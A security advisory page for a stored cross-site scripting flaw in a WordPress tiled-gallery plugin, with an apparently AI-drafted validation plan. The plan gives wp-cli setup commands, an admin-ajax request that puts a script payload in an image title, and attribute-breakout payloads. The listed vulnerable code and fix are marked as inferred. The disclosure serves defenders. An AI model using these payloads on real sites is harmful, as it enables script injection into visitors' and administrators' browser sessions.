Tiled Gallery Carousel Without JetPack <= 3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'data-image-title'
Description
The Tiled Gallery Carousel Without JetPack plugin for WordPress is vulnerable to stored cross-site scripting via the 'data-image-title' parameter in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=3.1This research plan outlines the methodology for validating a Stored Cross-Site Scripting (XSS) vulnerability in the **Tiled Gallery Carousel Without JetPack** plugin. --- ### 1. Vulnerability Summary * **ID:** CVE-2026-5191 * **Plugin:** Tiled Gallery Carousel Without JetPack (<= 3.1) * **Vu…
Show full research plan
This research plan outlines the methodology for validating a Stored Cross-Site Scripting (XSS) vulnerability in the Tiled Gallery Carousel Without JetPack plugin.
1. Vulnerability Summary
- ID: CVE-2026-5191
- Plugin: Tiled Gallery Carousel Without JetPack (<= 3.1)
- Vulnerability Type: Stored XSS
- Vulnerable Parameter:
data-image-title - Privilege Level: Authenticated (Contributor+)
- Cause: The plugin fails to sanitize or escape the title of an image before outputting it within the
data-image-titleattribute of the gallery’s HTML structure. When the carousel script initializes or a user interacts with the tiled gallery, this attribute is rendered or processed in a way that executes the injected script.
2. Attack Vector Analysis
- Endpoint: WordPress Media Library / Post Editor.
- Source of Payload: The "Title" field of an attachment (image).
- Trigger Endpoint: Any public-facing page or post containing a
[gallery]shortcode that includes the malicious image. - Authentication: Requires a user with at least
Contributorpermissions to modify image metadata or create posts with galleries. - Preconditions:
- The plugin "Tiled Gallery Carousel Without JetPack" must be active.
- An image must be uploaded, and its Title metadata must be set to the XSS payload.
- A post or page must be created/edited to include this image within a standard WordPress gallery.
3. Code Flow (Inferred)
- Metadata Storage: A user (Contributor+) updates an attachment's metadata via
wp_ajax_save_attachment_compator the Media Library. The "Title" is stored in thewp_poststable (columnpost_titlefor the attachment type). - Gallery Rendering: When a post with
[gallery]is viewed, the plugin hooks into thepost_galleryfilter orshortcode_atts_gallery. - Attribute Generation: The plugin iterates through the attachment IDs. For each image, it retrieves the title using
get_the_title($attachment_id). - Sink: The plugin constructs the HTML for the tiled gallery. It likely uses a line similar to:
$html .= '<div class="tiled-gallery-item" data-image-title="' . $image_title . '">';(Inferred) - Lack of Escaping: Because
$image_titleis not passed throughesc_attr(), an attacker can break out of the attribute using quotes (e.g.,"><script>alert(1)</script>).
4. Nonce Acquisition Strategy
This vulnerability is triggered by viewing a rendered gallery. While the injection (saving the image title) involves WordPress core AJAX/Rest nonces, the exploitation (executing XSS) generally does not require a nonce as it is a stored payload.
However, if the plugin's carousel script requires a nonce for AJAX-based image loading, follow this strategy:
- Identify Shortcode: The plugin uses the standard
[gallery]shortcode but modifies the output. - Create Test Page:
wp post create --post_type=page --post_status=publish --post_content='[gallery ids="<IMAGE_ID>"]' --post_title='XSS Test' - Navigate and Extract:
- Navigate to the newly created page.
- Check for localized scripts using
browser_eval:browser_eval("window.tiledGallerySettings?.nonce")(Inferred key).
Note: Common keys for this plugin includetiledGallerySettingsortiled_carousel_params.
5. Exploitation Strategy
Step 1: Login and Upload
Log in as a Contributor. Upload a benign image to the Media Library to obtain an attachment_id.
Step 2: Inject Payload into Image Title
Use the http_request tool to update the attachment's title.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method: POST
- Body (URL-Encoded):
action=save-attachment&id=<ATTACHMENT_ID>&changes[title]=<img src=x onerror=alert(document.domain)>&nonce=<FETCHED_NONCE> - Note: The nonce for
save-attachmentcan be found in the Media Library source code (window._wpNonce).
Step 3: Create a Gallery Post
Create a post containing a gallery with the poisoned image.
- Action:
wp post create --post_type=post --post_status=author --post_content='[gallery ids="<ATTACHMENT_ID>"]' --post_title='Gallery XSS' - Note: As a contributor, the post status will be
pendingordraft, but you can still preview it.
Step 4: Trigger the XSS
Navigate to the post's permalink or the preview URL.
- URL:
http://localhost:8080/?p=<POST_ID>&preview=true - Interaction: The script should execute immediately upon the page rendering the tiled gallery HTML.
6. Test Data Setup
- User: Create a contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Image: Upload an image to the site.
- Plugin Config: Ensure "Tiled Galleries" is enabled in the plugin settings (usually found under Settings > Media or a dedicated plugin page).
7. Expected Results
- The HTTP response for the post view will contain the raw payload:
data-image-title="<img src=x onerror=alert(document.domain)>" - The browser will execute the JavaScript, resulting in an alert box showing the document domain.
8. Verification Steps
- Verify DB Content:
wp db query "SELECT post_title FROM wp_posts WHERE id=<ATTACHMENT_ID>"
Ensure it contains the payload. - Inspect HTML Output:
Usehttp_requestto GET the post content and grep for thedata-image-titleattribute.http_request(url='http://localhost:8080/?p=<POST_ID>')
Look for:data-image-title="[payload]"
9. Alternative Approaches
- Caption Injection: If
data-image-titleis patched, check if the plugin usesdata-image-descriptionor captions for the carousel modal, which often share the same rendering logic. - Attribute Breakout: If simple tags are stripped, try breaking out of the attribute and adding an event handler:
Payload: " onmouseover="alert(1)" data-ignore="
This results in:<div data-image-title="" onmouseover="alert(1)" data-ignore="...">
Summary
The Tiled Gallery Carousel Without JetPack plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the 'data-image-title' attribute in versions up to 3.1. This vulnerability allows authenticated attackers with Contributor-level access or higher to inject malicious scripts into image titles, which are then rendered without proper escaping when a gallery is viewed.
Vulnerable Code
// File: tiled-gallery.php (inferred location) // Inside the gallery rendering loop or filter $image_title = get_the_title($attachment_id); $html .= '<div class="tiled-gallery-item" data-image-title="' . $image_title . '"'; // ... continues to output other attributes like data-image-description
Security Fix
@@ -10,7 +10,7 @@ - $image_title = get_the_title($attachment_id); + $image_title = esc_attr(get_the_title($attachment_id)); - $html .= '<div class="tiled-gallery-item" data-image-title="' . $image_title . '"'; + $html .= '<div class="tiled-gallery-item" data-image-title="' . $image_title . '"';
Exploit Outline
The exploit is carried out by an authenticated user with at least Contributor permissions. The attacker first uploads an image or edits an existing attachment in the WordPress Media Library, setting the 'Title' metadata field to a JavaScript payload wrapped in attribute-breaking characters, such as: "><script>alert(document.domain)</script>. Next, the attacker creates a post or page containing the standard [gallery] shortcode and includes the ID of the poisoned image. When any user (including administrators) views the published post or a preview, the plugin generates the tiled gallery HTML. Because the image title is not escaped, the payload breaks out of the 'data-image-title' attribute and executes the script in the context of the user's browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.